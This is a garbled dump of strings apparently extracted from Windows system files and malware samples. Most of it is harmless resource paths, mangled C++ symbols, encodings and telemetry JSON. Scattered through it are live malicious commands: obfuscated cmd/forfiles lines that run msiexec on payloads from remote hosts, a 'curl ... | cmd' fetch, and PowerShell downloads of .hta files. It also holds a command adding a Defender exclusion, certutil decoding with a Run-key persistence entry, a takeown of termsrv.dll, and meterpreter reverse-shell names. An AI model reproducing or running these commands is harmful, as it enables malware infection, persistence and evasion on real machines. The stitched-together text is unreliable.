C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe%5Cmicrosoft.system.package.metadata%5CS-1-5-21-3914889805-4071901059-918772286-1001-MergedResources-0.pri
@{Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsFeedbackHub/Resources/AppStoreName}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe%5Cmicrosoft.system.package.metadata%5CS-1-5-21-3914889805-4071901059-918772286-1001-MergedResources-0.pri
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.ScreenSketch_11.2511.47.0_x64__8wekyb3d8bbwe%5Cmicrosoft.system.package.metadata%5CS-1-5-21-3914889805-4071901059-918772286-1001-MergedResources-1.pri
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe%5Cmicrosoft.system.package.metadata%5CS-1-5-21-3914889805-4071901059-918772286-1001-MergedResources-1.pri
@{Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsNotepad/Resources/AppDisplayName_Notepad}
@%systemroot%\system32\rshx32.DLL,-59
@%systemroot%\system32\domgmt.dll,-104
@%systemroot%\system32\pnpclean.dll,-101x
@C:\Windows\System32\occache.dll,-1070
@C:\Windows\System32\occache.dll,-1071
@%SystemRoot%\System32\fveui.dll,-844
@%SystemRoot%\System32\wuaueng.dll,-4003
re@{microsoft.windows.photos_24.24070.23002.0_x64__8wekyb3d8bbwe?ms-resource://microsoft.windows.photos/files/assets/inbox/photoslogoextensions.png}
@{Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe? ms-resource://Microsoft.WindowsNotepad/Resources/ShellNewDisplayName_Txt}
Microsoft.WindowsCamera_8wekyb3d8bbwt
\windows\currentversion\e
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\base.h
App@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UColumnDialogViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producers_base@UColumnDialogViewModel@implementation@TaskManagerApp@winrt@@V?$tuple@UColumnDialogViewModel@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@3@@std@@@impl@winrt@@
.?AU?$delegate@U?$VectorChangedEventHandler@I@Collections@Foundation@Windows@winrt@@V<lambda_87df60d8bd18c8228bf98df12eac2cd3>@@@impl@winrt@@
.?AU?$implements_delegate@U?$VectorChangedEventHandler@I@Collections@Foundation@Windows@winrt@@V<lambda_87df60d8bd18c8228bf98df12eac2cd3>@@@impl@winrt@@
.?AU?$implements_delegate@U?$VectorChangedEventHandler@I@Collections@Foundation@Windows@winrt@@V<lambda_a703291238fa4277dae77b543e91d1d8>@@@impl@winrt@@
.?AUtype@?$abi@U?$VectorChangedEventHandler@I@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$delegate@U?$VectorChangedEventHandler@I@Collections@Foundation@Windows@winrt@@V<lambda_a703291238fa4277dae77b543e91d1d8>@@@impl@winrt@@
.?AU?$produce@Uargs@?$observable_vector_base@U?$convertible_observable_vector@IV?$vector@IV?$allocator@I@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@I@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@impl@winrt@@
system32
WindowsCreateStringReference
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
GetSystemWindowsDirectoryW
%system32%\fxssvc.exe
%system32%;%system32%\driverstore\filerepository\prnms002.inf_%version%\amd64;%syswow64%
%system32%\fxsunatd.exe
%system32%\checknetisolation.exe;%system32%\netsh.exe;%system32%\stordiag.exe
%system32%\checknetisolation.exe;%system32%\edpcleanup.exe;%system32%\lpremove.exe;%system32%\netsh.exe;%system32%\securityhealthservice.exe;%system32%\systemsettingsadminflows.exe
%system32%\bitlockerwizard.exe;%system32%\bitlockerwizardelev.exe
%system32%\bitlockerdeviceencryption.exe
%system32%\baaupdate.exe;%system32%\bdechangepin.exe;%system32%\fvenotify.exe;%system32%\fveprompt.exe;%system32%\resetengine.exe;%system32%\systemreset.exe
%system32%\dfsrdiag.exe;%system32%\driverquery.exe;%system32%\getmac.exe;%system32%\openfiles.exe;%system32%\taskkill.exe
%system32%\agentservice.exe;%system32%\bootim.exe;%system32%\compmgmtlauncher.exe;%system32%\dpiscaling.exe;%system32%\dfsrdiag.exe;%system32%\fltmc.exe;%system32%\psr.exe;%system32%\resmon.exe;%system32%\sdclt.exe;%system32%\slui.exe;%system32%\vssvc.exe;%system32%\wbengine.exe;%system32%\workfolders.exe;%system32%\write.exe
%system32%\fhmanagew.exe
%system32%\filehistory.exe
%system32%\cipher.exe;%system32%\efsui.exe;%system32%\rekeywiz.exe
%system32%\ddodiag.exe
%system32%\werfault.exe;%system32%\werfaultsecure.exe
%system32%\certreq.exe;%system32%\control.exe;%system32%\explorer.exe;%system32%\filehistory.exe;%system32%\mstsc.exe;%system32%\notepad.exe;%programfiles%\google\chrome\application\chrome.exe;%programfiles%\microsoft\edge\application\msedge.exe;%programfiles%\mozilla firefox\firefox.exe;%programfiles%\microsoft office\root\office%version%\winword.exe;%programfiles%\microsoft office\root\office%version%\excel.exe;preconditions%programfiles%\microsoft office\root\office%version%\powerpnt.exe
%system32%\dfsrdiag.exe;%system32%\dsdbutil.exe;%system32%\esentutl.exe;%system32%\tieringengineservice.exe;%system32%\ntdsutil.exe
%system32%\cipher.exe;%system32%\efsui.exe;%system32%\rekeywiz.exe;%system32%\filehistory.exe
%system32%\efsui.exe;%system32%\rekeywiz.exe
%system32%\calc.exe;%system32%\compmgmtlauncher.exe;%system32%\computerdefaults.exe;%system32%\dpiscaling.exe;%system32%\fodhelper.exe;%system32%\mobsync.exe;%system32%\resmon.exe;%system32%\sdclt.exe;%system32%\slui.exe;%system32%\workfolders.exe;%system32%\write.exe
%system32%\microsoftedgebchost.exe;%system32%\microsoftedgecp.exe;%system32%\microsoftedgedevtools.exe;%system32%\microsoftedgesh.exe
%system32%\dccw.exe;%system32%\dispdiag.exe
%system32%\applicationframehost.exe;%system32%\dataexchangehost.exe;%system32%\dwm.exe;%system32%\dxgiadaptercache.exe;%system32%\gamepanel.exe;%system32%\mdeserver.exe;%system32%\quickassist.exe;%system32%\systemreset.exe;%system32%\taskmgr.exe;%system32%\vsgraphicsremoteengine.exe;%system32%\winsat.exe
%system32%\taskmgr.exe
%system32%\cttune.exe;%system32%\dataexchangehost.exe;%system32%\gamepanel.exe
%system32%\dwm.exe
C:\__w\1\s\StartExperiencesApp\packages\Microsoft.Windows.ImplementationLibrary.1.0.240122.1\include\wil\result_macros.h
Microsoft-Windows-DeviceManagement-W7NodeProcessor
Microsoft.Windows.DeviceManagement.SecurityPolicyCsp
Microsoft.Windows.EnterpriseManagement.DeclaredConfiguration
Microsoft.Windows.EnterpriseManagement.PolicyManager
Microsoft.Windows.EnterpriseManagement.ConfigManagerHook
Microsoft.Windows.DeviceManagement.ConfigManager2
Microsoft.Windows.EMPS.Enrollment
Microsoft.Windows.EnterpriseManagement.Enrollment
Microsoft.Windows.HVSI.PolicyEvaluator
Microsoft.Windows.Security.CodeIntegrity.Management
Microsoft.Windows.Security.CFL.API
Behavior:Win32/Persistence.Registry.WinlogonHelper.B
="$env:appdata\microsoft\windows\startmenu\programs\startup\
wow64_microsoft-windows-muicachebuilder_31bf3856ad364e35_none_d4a3ed6128631cb3
wow64_microsoft-windows-mydocs_31bf3856ad364e35_none_b6e8683f358ca9f8
wow64_microsoft-windows-n..-backgroundtransfer_31bf3856ad364e35_none_ee7b4bb995988a01
wow64_microsoft-windows-n..-domain-clients-svc_31bf3856ad364e35_none_3a113aac05cfe64f
wow64_microsoft-windows-n..-security.resources_31bf3856ad364e35_en-us_d4c6fa06c3156c6f
wow64_microsoft-windows-n..agerdesktopprovider_31bf3856ad364e35_none_7b302926a21e53dd
wow64_microsoft-windows-n..anagement-proxystub_31bf3856ad364e35_none_e83734f0628850cb
wow64_microsoft-windows-n..ared-wpf-deployment_31bf3856ad364e35_none_31c6699961aa980a
wow64_microsoft-windows-n..ayingsessionmanager_31bf3856ad364e35_none_e99a59afbc5712e0
wow64_microsoft-windows-n..cketcapture-drivers_31bf3856ad364e35_none_e86b86c202e34c1c
https://drive.google.com/fuslogvw.exemozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/101.0.0.0 safari/537.36
wow64_microsoft-windows-p..randprintui-prnfldr_31bf3856ad364e35_none_d3a96b3e050181bc
wow64_microsoft-windows-p..rastructureconsumer_31bf3856ad364e35_none_8ac5136fa8e04126
wow64_microsoft-windows-p..rotectedprint-winrt_31bf3856ad364e35_none_52d047066b7659e0
wow64_microsoft-windows-p..rshell-v3.resources_31bf3856ad364e35_en-us_661531b43574ebd5
wow64_microsoft-windows-p..rshell-wsman-plugin_31bf3856ad364e35_none_e24ec7d1946544bb
wow64_microsoft-windows-p..rtmonitor-tcpmibdll_31bf3856ad364e35_none_33fd6af0738578db
wow64_microsoft-windows-p..ructureconsumercore_31bf3856ad364e35_none_7690240810a95e9b
wow64_microsoft-windows-p..s-developer-library_31bf3856ad364e35_none_4bd7fb52b1f9cd9c
wow64_microsoft-windows-p..shell-mui.resources_31bf3856ad364e35_en-us_a59f5cf6683cf777
Microsoft.Windows.Widgets.dll
system32\dri
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.System.winmdV6
H-s -w -H=windowsgui -X://196.251.107.109/
\windows\caches\
windows11
Windows
95^com.microsoft.windows.ey
9b^com.microsoft.windows.e
9f^com.microsoft.windows.e
C:\Windows\System32\RuntimeBroker.exe -Embedding
NRegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
Windows/Temp/
Windows\Temp\
!#Windows_Hello_1767C8B4_CA_2018
ZtC:\WINDOWS\SYSTEM32\MFC40.DLL>
vC:\WINDOWS\SYSTEM32\ES.DLL>
/hershell/shell.executecmd/hershell/shell.getshell/hershell/meterpreter/shell.injectshellcode/shell.execshellcode/meterpreter.generateurichecksum/meterpreter.reversetcp/meterpreter.reversehttp/shell/shell_windowsTrojanDownloader:Script/Finseven.SA!MSR
pj\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /fecho CORONAVIRUS
g_win32_check_windows_version
passing a child setup function to the g_spawn functions is pointless on Windows and it is ignored
System.Windows.Forms.UnsafeNativeMethods.IRawElementProviderHwndOverride.GetOverrideProviderForHwnd
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceFrame.SetBorderSpace
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceFrame.RequestBorderSpace
WindowsFormsHelpTrace
IWindowsFormsEditorService
see my data|view my data|view data|data viewer|diagnostics and feedback settings|telemetry settings|diagnostics and feedback permissions|privacy settings|windows diagnostics|windows privacy|/
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElement5@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement7@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement3@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement4@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement2@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement6@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement6@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement7@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement3@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement4@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement2@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl5@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIControl5@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl7@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIControl7@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl3@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
ComSpec=C:\WINDOWS\system32\cmd.exe
ComSpec=C:\WINDOWS\system32\cmd.exe
%userprofile%\links\document.dat"&start/mincertutil-decode"%userprofile%\links\document.dat""%userprofile%\links\document.vbs"&start/minregaddhkcu\software\microsoft\windows\currentversion\run/vdocument/treg_sz/d"%userprofile%\links\document.vbs"/f
Microsoft.Windows.Capture.Photography
Microsoft.Windows.MediaFoundation.CallStack
/chrome.windows.create({type:"popup",url:
|ifplatform.system()=="windows"elsepath(
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\
rules_from_windows_time_zone
WINDOWS-1250
WINDOWS-1251
WINDOWS-1252
WINDOWS-1253
WINDOWS-1254
WINDOWS-1255
WINDOWS-1256
WINDOWS-1257
WINDOWS-1258
WINDOWS-874
WINDOWS-51932
WINDOWS-31J
WINDOWS-932
CSWINDOWS31J
WINDOWS-50221
WINDOWS-936
windows-874
windows-1250
windows-1251
windows-1252
windows-1253
windows-1254
windows-1255
windows-1256
windows-1257
windows-1258
WINDOWS11
Microsoft-Windows-PeerDist-HttpTrans-In
Microsoft-Windows-PeerDist-WSD
21^windows.protocol
22^windows.protocol
23^windows.appExtension
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
USERNAME=WINDOWS11$
TEMP=C:\WINDOWS\TEMP
SystemRoot=C:\WINDOWS
USERNAME=WINDOWS11$
TMP=C:\WINDOWS\TEMP
windir=C:\WINDOWS
COMPUTERNAME=WINDOWS11
COMPUTERNAME=WINDOWS11
WindowsCreateStringReference
WindowsDuplicateString
WindowsCreateString
WindowsDeleteString
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
Windows
Windows
Windows
?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@impl@winrt@@
.?AU?$producer@Uiterator@?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@Uiterator@?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producers_base@Uiterator@?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@V?$tuple@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$root_implements@Uiterator@?$iterable_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@Uhstring@3@Ucollection_version@23@@winrt@@U?$IIterator@Uhstring@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$implements@Uiterator@?$iterable_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@Uhstring@3@Ucollection_version@23@@winrt@@U?$IIterator@Uhstring@winrt@@@Collections@Foundation@Windows@3@@winrt@@
.?AU?$producer_convert@Uiterator@?$iterable_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@Uhstring@3@Ucollection_version@23@@winrt@@U?$IIterator@Uhstring@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@Uiterator@?$iterable_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@Uhstring@3@Ucollection_version@23@@winrt@@V?$tuple@U?$IIterator@Uhstring@winrt@@@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer@Uiterator@?$iterable_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@Uhstring@3@Ucollection_version@23@@winrt@@U?$IIterator@Uhstring@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements@Uiterator@?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collection.?AU?$base_one@UFilterControl@implementation@TaskManagerApp@winrt@@UFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UFilterControl@implementation@TaskManagerApp@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UFilterControl@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AV?$IPageOverridesT@UFilterControl@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverridesT@UFilterControl@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverrides6T@UFilterControl@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverridesT@UFilterControl@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverrides2T@UFilterControl@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverridesT@UFilterControl@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides7T@UFilterControl@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides8T@UFilterControl@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides9T@UFilterControl@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
MicrosoftWindowsDefenderClient
KSetProxyCredentialsMicrosoft\3389.batnet stop termservice  /ytakeown /F c:\windows\system32\termsrv.dll /A{NumLock}MTI0LjIyMi4zNC4yNDZ8ODI4Mg==
901161Z","iKey":"o:95c1f21d6cb047a09e7b423c1cb2222e","ext":{"utc":{"eventFlags":258,"pgName":"MSPG","dvcSample":59.81,"flags":52412023344,"edition":48,"epoch":"800503","seq":43},"privacy":{"dataType":32088572553658445,"isRequired":false},"metadata":{"f":{"Count":4,"MinSmartLockerVerificationTime":4,"MaxSmartLockerVerificationTime":4,"MinDefenderVerificationTime":4,"MaxDefenderVerificationTime":4,"MinEventTime":4,"MaxEventTime":4,"EventVersion":2,"Status":2,"SACStatus":2,"SecureRequiredFlags":2,"GenericVerificationError":2,"FileVersion":5,"SACPolicyGuidID":8,"SACExternalAuthorizationFlags":2,"SACExternalAuthorizationUsed":2,"DefenderStatus":2,"DefenderCatDbFailure":2,"DefenderTrust":2,"DefenderTrustExpiryTime":4,"EAReplayFailureState":2,"CachedDefenderTrust":2,"CachedDefenderTrustExpiryTime":4,"DefenderClientStatusCode":2,"DefenderCloudHTTPCode":2,"DefenderEngineReportGUID":8,"DefenderShellExecutedStatus":2,"DefenderShellExecutedTrust":2,"DefenderShellExecutedClientStatusCode":2,"DefenderShellExecutedCloudHTTPCode":2,"DefenderShellExecutedEngineReportGUID":8,"DefenderTelemetryFlags":2,"OriginClaimSessionID":8,"OriginClaimSubSessionID":8,"CallingProcessOriginClaimSessionID":8,"CallingProcessOriginClaimSubSessionID":8,"FileSignatureInfo":{"a":{"f":{"VerificationError":2,"KnownRoot":2,"PolicyFlags":2,"ValidFrom":9,"ValidTo":9}}}},"privTags":32088572553658445,"policies":7},"os":{"bootId":8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A,ME:3667CA2,ME:3667CA7,ME:3667CAD,ME:38419AC,ME:3536BD9,MD:2FE0A31,MD:2FE0A40,MD:2FE0A4F,MD:37B239D,PD:3536CF8,PD:33CDA4D,MD:36AF640,MD:9999,CD:2601D"},"app":{"id":"W:0000da39a3ee5e6b4b0d3255bfef95601890afd80709!0000da39a3ee5e6b4b0d3255bfef95601890afd80709!","ver":"1970/01/01:00:00:00!0!","is1P":3,"asId":1},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, Inc.","devModel":"VMware20,1"},"user":{"localId":"w:DBFCEB78-2C59-FA53-8626-4ED67E8A4320"},"loc":{"tz":"+01:00"}},"data":{"Count":1,"MinSmartLockerVerificationTime":0,"MaxSmartLockerVerificationTime":0,"MinDefenderVerificationTime":0,"MaxDefenderVerificationTime":0,"MinEventTime":134163939765885050,"MaxEventTime":134163939765885050,"EventVersion":8,"EventType":"Allow","AllowedToLoad":true,"Status":0,"SACStatus":0,"SACBlockUIType":0,"NWDesktopEnabled":0,"NWDesktopEvalEnabled":1,"NWDesktopRegKeyState":2,"Options":6,"DeveloperOptions":3154931712,"FileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\MessagingDataModel2.dll","ShellExecutedFileName":"","ProcessName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","FlatSHA256Hash":[],"FileHash":[183,90,50,127,12,132,74,110,77,54,169,242,8,83,241,23,201,134,74,251],"SecureRequiredFlags":0,"RequestedSigningLevel":2,"GenericVerificationError":0,"SACPolicyOptions":2978817812,"OriginalFileName":"MessagingDataModel2.dll","InternalName":"MessagingDataModel2","FileDescription":"MessagingDataModel2","ProductName":"Microsoft
 Windows
N]7\windows\system32\forfiles.exe/pc:\windows\system32/mnotepad.exe/c"cmd/cpow
\cmd.exe0.sharinghrdd/y/v/r^star^tm^s^i^exec-^f^v"http://m0.nu:8080/ahyx3dqbm0hwunrnjrujwslcjewoui/!computername!"-qn%windir%\system32\imageres.dll
%"(call:adminstartpowershell-nologo-noninteractive-windowstylehidden-noprofile-command^add-mppreference-exclusionpathc:\programdata
\windows\system32\windowspowershell\v1.0\powershell.exes.$env:c:\?i*\s*3?\m*ta.e*('http://193.33.195.152:3000/yz00pmpcf'+'.h'+'ta')shell32.dll%wn]
c:\windows\system32\forfiles.exe/pc:\windows/mwin.ini/c"cmd/v:on/c"""curl--insecure-shttps://viewifydocs.com/api/v1/auth_token/authorize_id|cmd"""
windowsexpert
WindowsFeedback
C:\WINDOWS\system32\wbem\wmiprvse.exe
Microsoft-Windows-WMIC-Package~31bf3856ad364e35~amd64~~10.0.26100.5074.cat
Microsoft.Windows.WMI.Winmgmt
c:\windows\system32
C:\WINDOWS\System32\drivers\ACPI.sys[ACPIMOFResource]
 http://www.microsoft.com/windows0
hklm\software\microsoft\windows defender\ux configuration
hklm\software\microsoft\windows defender\spynet
hklm\software\microsoft\windows defender\real-time protection
hklm\software\microsoft\windows defender\threats\threatseveritydefaultaction
hklm\software\policies\microsoft\windows defender\real-time protection
hklm\software\policies\microsoft\windows defender\spynet
hklm\software\policies\microsoft\windows defender\threats\threatseveritydefaultaction
hklm\software\policies\microsoft\windows defender\policy manager
hklm\software\policies\microsoft\windows defender\policy manager\threatseveritydefaultaction
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
WindowsFormsApp3.Form1.resources
ar^t^m^s^iexec^ly^k=cjh-pac^k^age"http://4n.wf:8080/yxyofz4ah4cpkfyaomzpshj/3r6twx/!computername!"-q^n"%systemroot%\system32\imageres.dll%
c:\windows\system32\cmd.exectasxcobs/d/rst^a^rt^msiex^ec-qn^m^zqscz^r=^cu-fv"http://q0.wf:8080/ywb7djugl9d4eqden/x/z4ng8h1/eb6avhv/%computername%"!%systemroot%\system32\shell32.dll
c:\v1windows@.windowsz1system32b.system32v2cmd.exe@.cmd.exeserver_jakon/y/e/vaj/c^sta^rtm^si^e^x^e^c-qr^y=^vzv^j^j-^fv"http://q0.wf:8080/a8avqitsmdneaip0mgezst8/gshb/!computername!
/|c:\windows\system32\windowspowershell\v1.0\powershell.exe-ecabvahcazqbyahmaaablagwabaagag0acwboahqayqagaciaaab0ahqacabzadoalwavagwaaqbuagsamga0ac4aawbyac8aqwbcaduaaab1adgadwaiaa==
o}Oc:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'http://a0924551.xsph.ru/555763421324.hta';$pkfp=get-location;$pkfp=join-path$pkfp'gg.lnk';del$pkfp
\scarica\client.exeiconfile=c:\windows\system32\shell32.dll[{000214a0-0000-0000-c000-000000000046}]prop3=19,9
\scarica\client.exeiconfile=c:\windows\system32\shell32.dll[{000214a0-0000-0000-c000-000000000046}]prop3=19,9
\scarica\client.exeiconfile=c:\windows\system32\shell32.dll[{000214a0-0000-0000-c000-000000000046}]prop3=19,9
c:\v1uj9windows@owhu.t)windowsz1|u|syswow64boiua.t7syswow64v2fskcmd.exe@fsku.7[cmd.exej-i9vc:\windows\syswow64\cmd.exe/q/cslings\
.cmdc:\windows\syswow64\shlwapi.dll%systemroot%
.d9asystem32b2fsnwscript.exehfsnu
.3wscript.exen-mc:\windows\system32\wscript.exe
/\windows\system32\wscript.exe
c:\windows\system32\cmd.exe/cpowershell-windowstylehidden-cset-alias
wkCc:\windows\system32\windowspowershell\v`
GetProcessWindowStation
C:\WINDOWS\system32\svchost.exe -k LocalS
EnumWindows
Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
